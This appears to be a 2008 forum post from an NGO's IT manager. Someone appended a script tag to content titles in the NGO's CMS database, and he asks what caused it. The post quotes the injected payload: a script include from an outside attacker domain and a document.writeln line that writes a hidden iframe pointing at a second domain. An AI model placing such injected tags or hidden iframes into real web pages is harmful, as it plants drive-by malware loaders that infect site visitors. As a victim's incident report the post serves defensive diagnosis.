On Sunday, 2008-April-13 at 01:07:38.030 UTC, the CMS database of theU.S.-based NGO I work for mysteriously had a JavaScript URL appended to the titles of much of the content on our website:
<script src=http://www.nihaorr1.com/1.js></script>NB: the last modified dates for all of the content containing a reference to this script are identical, right down the 1/100 second.
The contents of the script apparently attempts to open an iframe to a non-existent domain, "nmidahena.com": document.writeln("<iframe width=\'10\' height=\'1\' src=\'http:\/\/www.nmidahena.com\/1.htm\'><\/iframe>");I haven't found any reports of a new worm, etc. that might account for this, but when I Google "nmidahena.com" I get over 100,000 hits for
other sites on which this script is present.We are running a custom-developed CMS with MS-SQL Server 2000 as the backend, on Windows NT Server 4.0 SP6a and IIS 4.0 (Yes, I know! The NT Server is fully patched with whatever OS, IIS and SQL Server 2K hotfixes released prior to NT4's end-of-life declaration by MS, for what it's worth.)
Anyone have an idea what might have caused this? -- Thanks, Glenn Gillis ELAW U.S. Information Technology Manager Environmental Law Alliance Worldwide
